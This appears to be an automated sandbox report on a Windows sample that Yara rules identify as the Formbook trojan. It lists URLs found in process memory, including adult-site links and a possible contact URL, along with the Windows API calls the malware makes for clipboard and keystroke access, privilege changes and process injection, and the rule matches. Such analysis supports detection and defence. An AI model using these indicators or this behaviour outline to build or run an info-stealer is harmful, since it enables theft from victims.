Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/porno-izle-p/
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/rokettube-p/
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/s-s-s/
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/turbanli-porno-p/
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/turk-porno-p/
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/xhamster-p/
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/youporn-p/
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pooxo.evooli.com/comments/feed/
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pooxo.evooli.com/feed/
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pooxo.evooli.com/wp-json/
Source: vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://schema.org
Source: vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://schema.org/
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://twitter.com/evoolicom
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://wprediscache.com
Source: choice.exe, 00000005.00000002.3294696425.000000000743E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.evooli.com/
Source: vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.evooli.com/#logo
Source: vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.evooli.com/#organization
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.evooli.com/#website
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.evooli.com/?s=
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.evooli.com/logo1.png
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.evooli.com/wp-admin/ajax.php
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.evooli.com/wp-content/themes/funzporno/ajax.php
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.evooli.com/wp-content/uploads/2019/12/logo.jpg
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.evooli.com/wp-json/
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-437S8EM4LD
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-127129499-1
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/evoolicom
Source: choice.exe, 00000005.00000002.3292579708.0000000004C64000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.00000000038D4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2032653948.00000000229E4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mothersalwaysright.com/9jt8/?pP=8a
Source: choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/c/funzikporno

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046C5D0

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00459FFF

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046C5D0

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

0_2_00456354

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C08E

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1741595274.0000000007890000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3291114440.0000000003FF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3291176689.0000000004040000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3293471787.0000000005920000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1737366193.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3289059447.0000000002140000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1738078800.00000000051E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3290974360.0000000003B00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1741595274.0000000007890000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3291114440.0000000003FF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3291176689.0000000004040000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3293471787.0000000005920000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1737366193.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3289059447.0000000002140000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1738078800.00000000051E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3290974360.0000000003B00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042BFD3 NtClose,	2_2_0042BFD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72B60 NtClose,LdrInitializeThunk,	2_2_03A72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03A72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_03A72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A735C0 NtCreateMutant,LdrInitializeThunk,	2_2_03A735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A74340 NtSetContextThread,	2_2_03A74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A74650 NtSuspendThread,	2_2_03A74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72BA0 NtEnumerateValueKey,	2_2_03A72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72B80 NtQueryInformationFile,	2_2_03A72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72BE0 NtQueryValueKey,	2_2_03A72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72BF0 NtAllocateVirtualMemory,	2_2_03A72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72AB0 NtWaitForSingleObject,	2_2_03A72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72AF0 NtWriteFile,	2_2_03A72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72AD0 NtReadFile,	2_2_03A72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72FA0 NtQuerySection,	2_2_03A72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72FB0 NtResumeThread,	2_2_03A72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72F90 NtProtectVirtualMemory,	2_2_03A72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72FE0 NtCreateFile,	2_2_03A72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72F30 NtCreateSection,	2_2_03A72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72F60 NtCreateProcessEx,	2_2_03A72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72EA0 NtAdjustPrivilegesToken,	2_2_03A72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72E80 NtReadVirtualMemory,	2_2_03A72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72EE0 NtQueueApcThread,	2_2_03A72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72E30 NtWriteVirtualMemory,	2_2_03A72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72DB0 NtEnumerateKey,	2_2_03A72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72DD0 NtDelayExecution,	2_2_03A72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72D30 NtUnmapViewOfSection,	2_2_03A72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72D00 NtSetInformationFile,	2_2_03A72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72D10 NtMapViewOfSection,	2_2_03A72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72CA0 NtQueryInformationToken,	2_2_03A72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72CF0 NtOpenProcess,	2_2_03A72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72CC0 NtQueryVirtualMemory,	2_2_03A72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72C00 NtQueryInformationProcess,	2_2_03A72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72C60 NtCreateKey,	2_2_03A72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73090 NtSetValueKey,	2_2_03A73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73010 NtOpenDirectoryObject,	2_2_03A73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A739B0 NtGetContextThread,	2_2_03A739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73D10 NtOpenProcessToken,	2_2_03A73D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73D70 NtOpenThread,	2_2_03A73D70
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C4650 NtSuspendThread,LdrInitializeThunk,	5_2_042C4650
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C4340 NtSetContextThread,LdrInitializeThunk,	5_2_042C4340
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2C60 NtCreateKey,LdrInitializeThunk,	5_2_042C2C60
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_042C2C70
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2CA0 NtQueryInformationToken,LdrInitializeThunk,	5_2_042C2CA0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2D30 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_042C2D30
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2D10 NtMapViewOfSection,LdrInitializeThunk,	5_2_042C2D10
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_042C2DF0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2DD0 NtDelayExecution,LdrInitializeThunk,	5_2_042C2DD0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2E80 NtReadVirtualMemory,LdrInitializeThunk,	5_2_042C2E80
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2EE0 NtQueueApcThread,LdrInitializeThunk,	5_2_042C2EE0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2F30 NtCreateSection,LdrInitializeThunk,	5_2_042C2F30
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2FB0 NtResumeThread,LdrInitializeThunk,	5_2_042C2FB0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2FE0 NtCreateFile,LdrInitializeThunk,	5_2_042C2FE0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2AF0 NtWriteFile,LdrInitializeThunk,	5_2_042C2AF0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2AD0 NtReadFile,LdrInitializeThunk,	5_2_042C2AD0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2B60 NtClose,LdrInitializeThunk,	5_2_042C2B60
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2BA0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_042C2BA0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2BE0 NtQueryValueKey,LdrInitializeThunk,	5_2_042C2BE0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_042C2BF0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C35C0 NtCreateMutant,LdrInitializeThunk,	5_2_042C35C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C39B0 NtGetContextThread,LdrInitializeThunk,	5_2_042C39B0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2C00 NtQueryInformationProcess,	5_2_042C2C00
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2CF0 NtOpenProcess,	5_2_042C2CF0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2CC0 NtQueryVirtualMemory,	5_2_042C2CC0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2D00 NtSetInformationFile,	5_2_042C2D00
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2DB0 NtEnumerateKey,	5_2_042C2DB0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2E30 NtWriteVirtualMemory,	5_2_042C2E30
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2EA0 NtAdjustPrivilegesToken,	5_2_042C2EA0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2F60 NtCreateProcessEx,	5_2_042C2F60
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2FA0 NtQuerySection,	5_2_042C2FA0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2F90 NtProtectVirtualMemory,	5_2_042C2F90
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2AB0 NtWaitForSingleObject,	5_2_042C2AB0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C2B80 NtQueryInformationFile,	5_2_042C2B80
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C3010 NtOpenDirectoryObject,	5_2_042C3010
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C3090 NtSetValueKey,	5_2_042C3090
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C3D10 NtOpenProcessToken,	5_2_042C3D10
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_042C3D70 NtOpenThread,	5_2_042C3D70
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_02168B00 NtCreateFile,	5_2_02168B00
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_02168E00 NtClose,	5_2_02168E00
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_02168F70 NtAllocateVirtualMemory,	5_2_02168F70
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_02168C70 NtReadFile,	5_2_02168C70
Source: C:\Windows\SysWOW64\choice.exe	Code function: 5_2_02168D60 NtDeleteFile,	5_2_02168D60

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00434D50

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_004461ED

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004364AA

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00409A40	0_2_00409A40
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00412038	0_2_00412038
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00427161	0_2_00427161
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0047E1FA	0_2_0047E1FA
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_004212BE	0_2_004212BE
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00443390	0_2_00443390
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00443391	0_2_00443391
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0041A46B	0_2_0041A46B
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0041240C	0_2_0041240C
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00446566	0_2_00446566
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_004045E0	0_2_004045E0
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0041D750	0_2_0041D750
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_004037E0	0_2_004037E0
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00427859	0_2_00427859
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00412818	0_2_00412818
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0040F890	0_2_0040F890
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0042397B	0_2_0042397B
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00411B63	0_2_00411B63
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0047CBF0	0_2_0047CBF0
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0044EBBC	0_2_0044EBBC
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00412C38	0_2_00412C38
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0044ED9A	0_2_0044ED9A
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00423EBF	0_2_00423EBF
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00424F70	0_2_00424F70
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0041AF0D	0_2_0041AF0D
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_03F14608	0_2_03F14608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00417F53	2_2_00417F53
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041612E	2_2_0041612E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416133	2_2_00416133
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FA13	2_2_0040FA13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040DA3A	2_2_0040DA3A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004022F0	2_2_004022F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040DA89	2_2_0040DA89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040DA93	2_2_0040DA93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004025B0	2_2_004025B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042E603	2_2_0042E603
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402F50	2_2_00402F50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040F7F3	2_2_0040F7F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B003E6	2_2_03B003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFA352	2_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC02C0	2_2_03AC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B001AA	2_2_03B001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF81CC	2_2_03AF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30100	2_2_03A30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC8158	2_2_03AC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3C7C0	2_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A64750	2_2_03A64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5C6E0	2_2_03A5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B00591	2_2_03B00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40535	2_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEE4F6	2_2_03AEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE4420	2_2_03AE4420
